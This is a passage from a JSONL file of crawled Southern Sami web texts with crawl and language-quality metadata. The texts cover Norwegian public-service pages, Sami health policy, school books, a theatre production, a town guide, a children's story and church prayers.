voerhtjen 14.b. orresistie raerieåejvine veeljesovvi göökte vielie jaepieh.","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/rorosnytt.no\/viktig-vedtak-av-kirkemotet\/","date":"2018-04-25T18:07:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947939.52\/warc\/CC-MAIN-20180425174229-20180425194229-00456.warc.gz","language":"sma","language_score":0.9597662091,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9597662091255188, \"sme_Latn_score\": 0.029071450233459473, \"nob_Latn_score\": 0.010064387694001198}","num_words":356,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":0.98,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïerehtimmie kriminaalehoksen sisnjelen\nGaskenasjovnaale konvensjovni mietie dle ij guhte edtja nyöjhkesovvedh ööhpehtimmiem åadtjodh. Lïerehtimmiereakta jïh ööhpehtimmiereakta leah seammalaakan dejtie mah leah roestegåetesne goh dejtie jeatjah årroejidie Nöörjesne.\nFylhkentjïelth dam faageles jïh reereles dïedtem utnieh ööhpehtimmien åvteste roestegåetine. Voenges jåarhkeskuvlh dam dæjpeles dïedtem utnieh lïerehtimmien åvteste.\nFylhkenålma Hordalaantesne dam nasjovnaale dïedtem åtna abpe lïerehtimmien åvteste kriminalehoksen sisnjelen","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Maanagierte-jih-lierehtimmie\/Lierehtimmie-kriminaalehoksen-sisnjelen\/","date":"2018-04-22T06:38:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945497.22\/warc\/CC-MAIN-20180422061121-20180422081121-00261.warc.gz","language":"sma","language_score":1.0000058413,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"sma_Latn_score\": 1.000005841255188}","num_words":56,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.109,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeline Åahpenidh 3. Lohkemegærja. Åarjelsaemien voestesgïeline\nDaate lohkemegærja lea 3. klaassese. Lohkemegærja lea jaepieboelhki mietie öörneme. Dah teksth leah ovmessie sjangerinie jïh dovne åenehks jïh guhkie. Guvvieh gærjesne edtjieh vielie teksti bïjre soptsestidh. Dah edtjieh aaj viehkine årrodh jïh edtjieh teksten goerkesimmiem evtiedidh. Barkoegærja, bïhkedimmie lohkehtæjjide jïh cd gååvnesieh.\nBestillinger til skoler og institusjoner bes rettet til ordretelefon 22500400.","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/solumforlag.no\/boker\/g%C3%AFeline-%C3%A5ahpenidh-3-lohkemeg%C3%A6rja-%C3%A5arjelsaemien-voestesg%C3%AFeline","date":"2018-04-26T09:09:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948125.20\/warc\/CC-MAIN-20180426090041-20180426110041-00384.warc.gz","language":"sma","language_score":0.9999924898,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"sma_Latn_score\": 0.9999924898147583}","num_words":56,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Elmiebaanah jïh treavkagiesemebaanah\nJis edtja elmiebaanah jïh treavkagiesemebaanah bïgkedh jïh sietedh , dle tjuara konsesjovnem utnedh. Fylhkenålma lea konsesjovnefaamoe. Staaten ruevtieraajroevaaksjome lea elmiebaanavaaksjome Nöörjesne, jïh dïhte mij gïehteldimmieluhpiem vadta.\nÅvtelen elmiebaanah jallh treavkagiesemebaanah bigkie, tjuara konsesjovnem utnedh Fylhkenålmeste. Konsesjovneohtsemen sjïekenisnie dle Fylhkenålma tjuara aktem garantijebæjhkoehtimmiem utnedh aktede tjïrkemesïelteste.\nElmiebaanavaaksjome tjuara orre elmiebaanah jïh treavkagiesemebaanah jååhkesjidh åvtelen dah åtnose vaaltasuvvieh. Dan guhkiem elmiebaana jallh treavkagiesemebaana lea åtnosne, dle elmiebaanavaaksjome sæjhta vaaksjodh jïh gïehtjedidh mejtie elmiebaana jallh treavkagiesemebaana lea jearsoes.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Soejkesje-jih-bigkeme\/Elmiebaanah-jih-treavkagiesemebaanah\/","date":"2018-04-25T17:55:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947939.52\/warc\/CC-MAIN-20180425174229-20180425194229-00332.warc.gz","language":"sma","language_score":0.999997139,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9999971389770508}","num_words":77,"character_repetition_ratio":0.156,"word_repetition_ratio":0.0,"special_characters_ratio":0.111,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jovkesthluhpieh\nDoekeme jïh gåassoehtimmie alkohovleste\nJis sïjhth doekedh jallh alkohovlem gåassoehtidh dle tjoerh voestegh doekeme-jallh gåassoehtimmieluhpien bïjre syökedh. Tjïelte, gusnie edtjh alkohovlem doekedh jallh gåssoehtidh, maahta dagkeres luhpiem vedtedh. Fylhkenålma maahta jovkesthluhpiem skïhpide vedtedh mah kollektijve skovhtem faalehtieh, jïh cruise-skihpide.\nKlååkemereakta\nJis doekeme-jallh gåassoehtimmieluhpien bïjre syökh, jïh tjïelte nyöjhkoe, maahtah Fylhkenålmese klååkedh. Fylhkenålma maahta ajve sjæjsjalidh mejtie sisvege nænnoestimmesne luhpies, mejtie reaktoe reeremeåårgane dam dorjeme jïh mejtie luhpieslaakan dorjesovveme. Datne klååkoem seedth daan tjïelten tjïrrh mij nænnoestimmiem nyöjhkemen bïjre dorjeme.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Almetjh-jih-siebriedahke\/Jovkesthluhpieh\/","date":"2018-04-22T06:53:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945497.22\/warc\/CC-MAIN-20180422061121-20180422081121-00405.warc.gz","language":"sma","language_score":0.9999974966,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"sma_Latn_score\": 0.9999974966049194}","num_words":80,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nuoraj-Tv lea nedte-Tv, juvlevsaemien noeride dorjeme. Ulmie lea juvlev saemien noereh, edtjieh saemien gïelem nuhtjedh. Daelie edtja Noeri-Tv, åarjelsaemien nedte-Tv , åarjelsaemien noeride darjodh.\nAalkoe prosjeekte.\nNoeri-Tv lea aalkoeprosjeekte mij daan tjaktjen eelki. Noeri-Tvn redaktøvre, Jon Isak Lyngman Gælok, tuhtjie vihkeles daam aaj åarjelsaemien gïelesne darjodh.\n–Seamma faaleldahkem daelie åarjelsaemien noerh åadtjoeh, maam juvlev saemien noerh åtneme. Dah noerh jijtje smaave filmh, jeatjah noeride darjoeh.\nDesnie åadtjoeh filmem nedtesne vuejnedh jih jijtjen saemien gïelem govledh, Lyngman gælok jeahta.\nLyngman Gælok lea videojournaliste daan juvlevsaemien Nuoraj-Tv jih redaktøvre daan åarjelsaemien Noeri-TV.\nBeetneh-vierhtieh åådtjeme.\nNoeri-Tv beetneh-vierhtieh 225 000 kr Noerhte-Trøndelaagen fylhketjïelteste åådtjeme. Lyngman Gælok tuhtjie dihte daerpies.\n– Vïenhtem daate joekoen vihkeles åarjelsaemien gïelese aaj. Gïelem maam vaeniem vuajna jih gåvla. Hijvene aaj daejtie smaave filmede You tubesne vuesiehtieh, Lyngman Gælok jeahta.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.nrk.no\/sapmi\/nedte-tv-edtja-aarjelsaemien-gielem-naennoestidh-1.12054091","date":"2018-04-21T22:05:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945448.38\/warc\/CC-MAIN-20180421203546-20180421223546-00480.warc.gz","language":"sma","language_score":0.9999803305,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999803304672241}","num_words":126,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeline åahpenidh 3b. Bïhkedimmie. Mubpiegïeline\nDaennie bïhkedimmesne vuesiehtimmieh jïh raerieh guktie maahta lohkemegærjam Gïeline åahpanidh 3b, lohkemegærja mubpiegïeline jïh barkoegærjam Gïeline åahpenidh 3b barkoegærja mubpiegïeline nåhtadidh.\nI denne lærerveiledningen finnes eksempler og råd om hvordan en kan bruke leseboka Gïeline åahpenidh 3b, lohkemegærja mubpiegïeline og arbeidsboka Gïeline åahpenidh 3b barkoegærja mubpiegïeline.\nBestillinger til skoler og institusjoner bes rettet til ordretelefon 22500400.","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/solumforlag.no\/boker\/g%C3%AFeline-%C3%A5ahpenidh-3b-b%C3%AFhkedimmie-mubpieg%C3%AFeline","date":"2018-04-26T09:09:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948125.20\/warc\/CC-MAIN-20180426090041-20180426110041-00436.warc.gz","language":"sma","language_score":0.9982880354,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"sma_Latn_score\": 0.9982880353927612}","num_words":60,"character_repetition_ratio":0.16,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.033,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjïeltenreakta\nTjïeltelaake stoerre frijjevoetem vadta tjïeltide jïh fylhkentjïeltide sijjen barkoem öörnedidh, jis ajve njoelkedasside reeremelaakesne, byögkelesvoetelaakesne jïh dejnie aktegs sjïerelaakine jeakadieh.\nVihkeles tjïelten jïjtjeståvroe jïh voenges demokratije leah seamma daltesisnie goh nasjovnaale hedtieprinsihph jïh reaktajearsoesvoete, mah edtjieh faamosne årrodh gaajhkide årroejidie laantesne.\nFylhkenålma faamoem åtna tjïelten barkoem gïehtjedidh. Golme jallh jienebh lïhtsegh aktene tjïelteståvrosne maehtieh ektesne aktem nænnoestimmiem Fylhkenålmese seedtedh, guktie dïhte maahta gïehtjedidh mejtie luhpies. Fylhkenålma maahta aaj jïjtjevieltien aamhtesh bæjjese vaeltedh jïh gïehtjedidh mejtie luhpies. Fylhkenålma gïehtjede mejtie nænnoestimmiem dorjeme laaken mietie, mejtie reaktoe åårgane dam nænnoestamme, jïh mejtie sisvege nænnoestimmesne lea sïejhme laaki jïh njoelkedassi mietie.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.fylkesmannen.no\/sma\/Oslo-jih-Akershusen\/Tjielten-stuvreme\/Tjieltenreakta\/","date":"2018-04-22T06:30:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945497.22\/warc\/CC-MAIN-20180422061121-20180422081121-00108.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":34,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":99,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Elsa Laula Renberg (1877-1931) lij akte guvhkiehtæjja saemieaamhtesen sisnjelen aktene geerve jarkelimmesne nöörjen siebriedahkejieliedisnie.\nAaj jïjtse bïjre klåamsoeji. Jeatjah baakoejgujmie; goh sjugniedamme teaterescenese 80 jaepieh mænngan Elsa sealadi. Elsa Laula Renberg lij meatan jïh veartenen voestes saemiesiebriem Sveerjesne tseegki jaepien 1904, jïh lij tsevtsiedæjja dan voestes abpelaanten saemietjåanghkose Tråantesne goevten 6.b. 1917, mij daan biejjien heevehtibie goh saemiej åålmegebiejjie. Jaepien 1904 dïhte gærjam «Inför Lif eller Död» bæjhkoehti, jïh desnie Elsa digkede dejtie dåeriesmoeride goh dåeriesmoerh alkohovline, dåeriesmoerh giefiesvoetine, skuvletsiehkieh jïh reakta laantese jïh tjaetside. Joekoen daate minngemes teema lea joekoen sjyöhtehke daan biejjien aaj. Vuasahtalleme aaj akte vihkeles væjsaldahke heevehtimmien vööste steemmereakteste jïh maadthlaakeste 2013\/2014.\nIj leah akte soptsese akten heeltegaagkoen jallh martyren bïjre, men guvvie dehtie tjidtjeste jïh almetjistie 6 maanajgujmie dejnie tjarke politihkeles faamojne. Dïhte jïjtje konsekvensigujmie sov veeljemijstie jieli, ihke muvhten boelhken dle åejvieladtjh, bielieh dejstie saemien årroejijstie jïh altese lïhkemes fuelhkie satnem vuastalesti dennie barkosne saemien reaktajgujmie jïh diedtigujmie.\nVuasahtalleme lea akte laavenjostoe Noerhte-Trøøndelagen Teateren jih Åarjelhsaemien Teateren gaskem. Dïhte voestes vuasahtalleme Tråantesne sjædta goevten 6.b., jih dan mænngan edtja mïnnedimmesne årrodh Trööndelagesne jïh Nordlaantesne göökte våhkoeh goevten. Nordlaanten Teatere lea laavenjostoeguejmie minnedimmesne göökte orre våhkoeh Nordlaantesne tjaktjen 2012. Jeatjah gaavhtan dle sæjhta aaj vuasahtallemem vuesiehtidh gelline ovmessie festivaaline.\nManuse: Cecilia Persson, Ada E. Jürgensen, Liv Hege Nylund\nRegije: Liv Hege Nylund, NTT\nRegijesæjjasadtje\/koreografe: Ada E. Jürgensen, ÅST\nDorjehtæjja: Cecilia Persson\nScenografije\/kostyme\/plakaate: Hilde Skancke Pedersen\nGåarome: Kari Britt Nilsen, Nordlaanten Teatere\nMusihke: Frode Fjellheim","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/www.asteatere.no\/elsa-laula-dihte-staalehke-nyjsene\/","date":"2018-05-22T06:19:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794864626.37\/warc\/CC-MAIN-20180522053839-20180522073839-00347.warc.gz","language":"sma","language_score":0.99985075,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9998507499694824}","num_words":231,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.121,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkien healsoe- jïh sosijaalepolitihke våaroeminie åtna saemien åålmegi lea reakta hijven healsose, jïh seammavyörtegs healsoe- jïh sosijaaledïenesjh seammalaakan goh jeatjah årrojh.\nTjïelth jïh staath dïedtem utnieh healsoe- jïh sosijaaledïenesji åvteste saemien årroejidie. Daate sæjhta jiehtedh dej aaj akte dïedte dïenesjem vedtedh mij lea sjïehteladteme saemien skïemtjiji daerpiesvoetese gïelen jïh kultuvren bïjre.\nFaatoes daajroen gaavhtan saemien gïelen jïh kultuvren jïh healsoe- jïh sosijaalestaatusen bïjre dïenesjinie dle saemien skïemtjiji dïenesjefaalenassh geahpanieh.\nSaemiedigkie barka\n- Seammavyörtegs healsoe- jïh sosijaalefaalenassh saemien skïemtjijidie, seammalaakan goh jeatjah årroejidie\n- Staaten bieleste tjïelke mierieh bïejesuvvieh guktie edtja ulmiem jaksedh akten seammavyörtegs dïenesjen bïjre saemien årroejidie.\n- Dïedte healsoedïenesjen åvteste daajrojne jïh maahtojne saemien gïelesne jïh kultuvresne akten bijjemes daltesasse lutnjesåvva\nRaerielïhtsege\nKrirrie: NSR\nHealsoe\nSaemiedigkie seammavyörtegs healsoedïenesjen åvteste barka saemien åålmegasse mij saemien gïelem jïh kultuvrem krööhkie. Evtiedimie hijven healsoste saemien åålmegasse tjuara vihtiestamme daajrose bigkedh saemien åålmegen healsoen jïh jieledetsiehkien bïjre, jïh mah faktovrh mah saemiej healsoem tsevtsieh.\nMijjen ulmie lea iktegisth saemien skïemtjiji reaktah jïh daerpiesveoth seammavyörtegs healsoe- jïh sosijaaledïenesjidie gorredidh.\nNöörjesne tjïelth mah dïedtem utnieh voesteshealsoedïenesjen åvteste (v.g. staeriesdåaktereöörnege, dåakterevaeptie, skïemtjehïejmedïenesjh, hïejmesujhteme). Staaten lea dïedte sjïerehealsoedïenesjen åvteste (skïemtjegåetie, neavroebïeljelimmiedïenesje, skïemtjebïjledïenesje, psykiatrijen institusjovnh). Fylhkentjïelth dïedtem åtna baeniehealsoedïenesjen åvteste. Fylhkentjïelth edtjieh aaj tsevtsiedæjjine årrodh almetjehealsoebarkose fylhkine jïh edtjieh tjïeltide viehkiehtidh dej almetjehealsoebarkosne. Nasjonaale åejvieladtjh dïedtem utnieh eensi healsoedïenesjh faalehtidh aaj saemien årroejidie.\nSaemiedigkie barka:\n- Seammavyörtegs healsoedïenesje saemien årroejidie mij saemien gïelem jïh kultuvrem våaroeminie åtna.\n- Lissiehtamme maahtoe jih daarjoe saemien gïelesne jïh kultuvrene gaajhkine daltesinie healsoedïenesjisnie. Dïedte dan åvteste lea aktene bijjeems daltesisnie.\nEtiske retningslinjer for samisk helseforskning\nUtredning. Kommunereformen og samiske interesser\nSosijaale\nTjïelti lea dïedte sosijaale dïenesjh vedtedh, sosijaale dïenesjh leah vuesiehtimmien gaavhtan faalenasse funksjovneheaptoes almetjidie, hïejmedïenesjh, NAV-dïenesjh, persovneles klahke, viehkiefaalenasse, ekonomeles sosijaaleviehkie, gåetiefaalenasse dejtie mah dam daarpesjieh, råajvarimmie dejtie mah geeruvevierhtieh nuhtjieh.\nNasjonaale åejvieladtjh dïedtem utnieh staateles bïhkedassh buektedh juktie gorredidh saemien utnijh maehtieh seammavyörtegs sosijaaledïenesjh åadtjodh mah saemien gïelem jïh kultuvrem våaroeminie utnieh.\nFaatoes daajroen gaavhtan saemien gïelen, kultuvren jïh healsoe- jïh sosijaalestaatusen bïjre dïenesjinie, dle dïenesjefaalenasse dejtie saemien skïemtjijidie geahpene.\nSaemiedigkie barka:\n- Seammavyörtegs sosijaaledïenesje saemien åålmegasse mij saemien gïelem jïh kultuvrem våaroeminie åtna.\n- Lissiehtamme maahtoe jïh daajroe saemien gïelesne jïh kultuvresen gaajhkine daltesinie sosijaaledïenesjinie. Dïedte dan åvteste lea aktene bijjemes daltesisnie.\nReaktah\nSaemien skïemtjijh reaktah utnieh nasjonaale laaki jïh gaskenasjonaale konvensjovni tjïrrh.\nSaemielaaken § 3 - 5 årroejidie saemien reeremedajvesne reaktam vadta saemien nuhtjedh juktie jïjtsh ïedtjh voebnesjidh, voenges jïh regijonaale byögkeles healsoe- jïh sosijaaleinstitusjovnine, jïh reaktam utnieh viehkiem åadtjodh saemien gïelesne. Seammalaakan dle Skïemtjijereaktalaake § 3 - 5 tjïerteste skïemtjijh reaktam utnieh bïevnesh åadtjdh mah leah sjïehtedamme dåastojen individuelle tsiehkide, goh aaltere, geervevoete, dååjrehtimmie jïh kultuvre- jïh gïelemaadtoe. Ot.prp. nr. 12 tjïerteste reakta bïevnesh åadtjodh, mij lea sjïehtedamme dan aktegs skïemtjijen individuelle daerpiesvoetese, sæjhta jiehtedh skïemtjijh mah saemiestieh byöroeh toelhkem utnedh, jallh skïemtjijh byöroeh viehkiem åadtjodh healsoebarkijijstie mah saemiestieh gosse daate lea daerpies ihke skïemtjije edtja dejtie bïevnesidie åadtjodh mah leah krïevenassi mietie laakesne.\nVijriesåbpoe dle ILO-konvensjovnese nr 169 vuesehte aalkoealmetji jïh tjïertealmetji bïjre jïjtjeraarehke staatine, EN:n konvensjovnese maanaj reaktaj bïjre jih EN:n bæjhkoehtimmie aalkoealmetji reaktaj bïjre. ILO-konvensjovne artihkele 25 gorrede saemieh reaktam utnieh meatan årrodh sjyöhtehke healsoefaalenassh evtiedidh, jïh vihteste saemieh reaktam utnieh hijven healsoedïenesjh åadtjodh..\nSvaalhtesh sjyöhtehke laakide mah leah saemien skïemtjiji reaktaj bïjre\nLaake Saemiedigkien jïh jeatjah saemien reaktatsiehkiej bijre (saemielaake).\n§ 3-5. Vijriedamme reakta saemien nuhtjedh healsoe- jïh sosijaalesuerkesne\nLaake tjïelten healsoe- jïh hoksedïenesji bïjre j.v. (healsoe- jïh hoksedïenesjelaake)\n§ 3-10. Skïemtjiji jïh utniji tsevtsemefaamoe jïh laavenjostoe jïjtjevyljehke årganisasjovnigujme\nLaake skïemtjije- jïh utnijereaktaj bïjre (skïemtjije- jïh utnijereaktalaake).\n§ 3-5. Bïevnesi hammoe","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/saemiedigkie.no\/Dienesjh2\/Healsoe-jih-sosijaale","date":"2018-05-23T14:33:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794865679.51\/warc\/CC-MAIN-20180523141759-20180523161759-00579.warc.gz","language":"sma","language_score":1.0000021458,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 1.000002145767212}","num_words":555,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.205,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Du är här:\nOrrestaaren tjïelte 55 000 årrojh åtna. Medtie bielie daejstie staaresne Orrestaare årroeh jallh dajvine staaren lïhkemes. Bjästa, Husum, Bredbyn jïh Köpmanholmen leah dah stööremes voenh.\nFeelemh\nSJ:en tåågh vuelkemejarngese Orrestaaren jarngesne tjöödtjestieh. Dah regionaalen tåågh, Norrtåg, aaj lïhke Orrestaaren skïemtjegåatan jïh Husum:asse tjöödtjestieh.\nBussh mubpide staaride jïh unnebe voenide tjïeltesne vuelkemejarngese Orrestaaresne tjöödtjestieh. Staarebussh Örnparkeste vuejieh, mij lea tåarjen lïhke.\nGirtiesijjie lea Gideåesne, 25 kilomeeterh Orrestaaren jarngeste.\nJis sïjhth skearadajvese vuelkedh dellie tuvrevïnhtsh Köpmanholmeste vuejieh, medtie 20 kilomeeterh Orrestaaren åarjelen. Dejtie stööremes såålide, Ulvön jïh Trysunda, vïnhtsh abpe jaepien vuejieh.\nHöga kusten\nOrrestaare lea bielie vearteneaerpeste Höga kusten. Dïhte mij sjïere Höga kusten lea daesnie laante jallene lïhkebe 1 centimeetere fïerhten jaepien.\nHöga kusten:sne lea vietseles ålkone årrodh. Dah gïengeles mearoeloekth siglemasse böörieh. Höga kusten-baalkan mietie maahtah 13 mïjlh vaedtsedh Höga kustenpruvveste Kramfors tjïeltesne Orrestaaren jarngese. Dellie datne leah murriedamme tjaebpies eatnamisnie jïh ståapoej sisnie geajnoen mietie lïegkedamme.\nTuristh\nHöga Kusten Turistservice bïevnesh vadta, maam maahtah vuejnedh, gusnie maahtah årrodh jïh maam maahtah darjodh Orrestaaresne, Kramforsesne, Hïernesaandesne jïh Sollefteå:esne. Datne bïevnesh webbesijjesne www.hogakusten.com gaavnh. Maahtah aaj e-påastine gyhtjelassh gihtjedh, seedth dejtie firstname.lastname@example.org jallh ringkh +46(0)771-26 50 00.\nGellie vietseles guessieulmiej lïhke gååvnesieh skjeermh, \"infopoints\", gusnie maahtah digitaale bïevnesh ohtsedidh. Högakustenpruvvien lïhke lea turistejarnge gusnie barkijh bievnieh.\nÅrrome\nOrrestaaren laantedajve, voenh jïh staare faelieh gellie såarhth årromenuepieh. Sïejhmemes villagåetieh. Minngemes jaepieh lea orre gellieårrojegåetieh bigkeme staarhvoen lïhke jïh mah aaj leah staaren jarngen lïhke.\nTjïelten gåetiesïelte, Övikshem, gåetieluhpieh utnieh Orrestaaren jarngesne mah maehtieh leejjedh jïh aaj naan sjeltine. Jis datne gåetieluhpieleejjemem ohtsedidh datne maahtah Övikshem gaskesadtedh. Ringkh åestijedïenesjasse: 0660-29 93 50 jallh e-påastem seedtedh: email@example.com.\nDatne maahtah aaj privaate leejjesalmetjasse jallh liktijesïeltide gaskesadtedh.\nJis datne soejkesjh gåetiem bigkedh maahta tjïelten siebriedahkebigkemereereme datnem viehkiehtidh gyhtjelassh eatnemen, njoelkedassi jïh jååhkesjimmiej bïjre mah daarpesjh. Seedth e-påastem: firstname.lastname@example.org jallh tjïelten viekselem gaskesadth 0660-880 00.","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/www.naturguiden.ornskoldsvik.se\/omsorgochhjalp\/invandringintegration\/otherlanguagespublicinformation\/aarjelsaemien\/orrestaare.4.4c4feec515e441a88a91f943.html","date":"2018-05-24T09:36:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794866201.72\/warc\/CC-MAIN-20180524092814-20180524112814-00187.warc.gz","language":"sma","language_score":0.9999792576,"language_script":"Latn","minhash_cluster_size":51,"top_langs":"{\"sma_Latn_score\": 0.9999792575836182}","num_words":288,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åvla gon aehtjieh staareste båetiejægan. Åvla lea orre treavkah åådtjeme. Tjidtjie gon onnåabpah olkese båetiejægan, sijhtijægan vuejnedh.\n«Vuartasjidien! Orre klaahkah aaj!» Åvla jeahta. «Daejtie leam jijtje åasteme, jijtsen beetnegi åvteste. Treavkah lin dan dovres, dejtie aehtjie tjoeveri åestedh.»\nÅvla dallah sæjhta joksedidh jih tjoejkijidh.\n«Ih dån amma daan jemhkelden maehtieh gåabph tjoejkijidh,» tjidtjie jeahta.\n«Barre ikth gåetien bijre!» Åvla jeahta.\nÅvla tjuajka. Aehtjie gonnoeh tjidtjieh jih onnåabpa tjåadtjoeh vuartasjieh. Dellie treavkide nuala, tjabpieslaakan lutnjie, lopmeh søøpie jih dle kåavese guadta. Voestes jijjem tjoeverieh treavkah åadtjodh kåavesne tjåadtjodh.","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/sijtijarnge.no\/orre-treavkah\/","date":"2018-05-25T12:37:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794867092.48\/warc\/CC-MAIN-20180525121739-20180525141739-00299.warc.gz","language":"sma","language_score":0.9996825457,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 0.9996825456619263}","num_words":87,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Välsignelsen - Bueriesjugniedasse\nJupmele datnem bueriesjugnehte jïh datnem vaarjele.\nJupmele jïjtse ååredäjjine dutnjien tjuavka jïh dutnjien åårmehke orre.\nJupmele jïjtse årredäjjine dov gåajkoe jarka jïh dutnjien raeffiem vadta.\nTackbön\nJupmele, mijjen Aehtjie,\ngäjhtoe juktie geajnoe dov gåajkoe\niktesth gaahpene lea, Jeesus Kristusen tjirrh.\nViehkehth mijjem dov luejtiedimmesne veasodh.\nDuedth mijjen jaahkoem, lissedh mijjen håahkoem\njih hööhkh mijjen eahtsedimmiem.\nAamen.\nGud, vår Fader,\nTack för att vägen till dig\nAlltid är öppen genom Jesus Kristus.\nHjälp oss att leva i din förlåtelse.\nStärk vår tro, öka vårt hopp och uppliva vår kärlek.\nAmen\nSändningsord\nVaedtsede raeffesne!\nGå i frid!\nSyndabekännelsen\nAejlies Jupmele Aehtjie, vuartesjh munnjien aarmoles voetesne.\nManne sådtoedigkie almetje gie datnem nierredahteme\njih dov syjhteden vööste ussjedamme\njih soptsestamme jih jijnjem båajhtode dorjeme.\nJijnje-jijnjebem damtem vaajmosne\nmij mannem sådtoej sijse geasa.\nUtnieh gieresvoetem munnjien Jeesus Kristussen gielhtie\njih luejhtieh gaajhkh mov sådtoeh jih viehkehth mannem\njuktie maahtam datnem goltelidh jih iehtsedh.\nAamen.\nApostoliska trosbekännelsen på sydsamiska\nMijjieh Jupmele Aahtjan jaehkebe, faamoehkommes,\nelmien jih eatnemen sjugniedæjjese.\nMijjieh Jeesus Kristusasse jaehkebe,\nJupmelen aajnege baarnan, mijjen Åajvan,\ngie Aejlies Voejkenen baaktoe åedtjine sjidti,\nMaarja niejteste reakasovvi,\nPååntijus Pijlatussen baelien njåvtasovvi,\nkroessese noeresovvi, jeemi jih kroeptese biejesovvi,\nvåålese jaemederijhkese vöölki,\ngåalmeden biejjien jaemiedistie tjuedtjeli,\nbæjjese alman vöölki,\nJupmelen, faamoehkommes Aehtjien, åelkies bielesne tjahkan,\ngubpede viht edtja bååstede båetedh,\njielije jih åemie almetjidie dööpmedh.\nMijjieh aejlies Voejkenassese jaahkam,\ngærhkoen aejlies ektievoeteste,\naejlies almetji tjåanghkenæmman, sådtoej luejhtiemasse,\nåedtjien 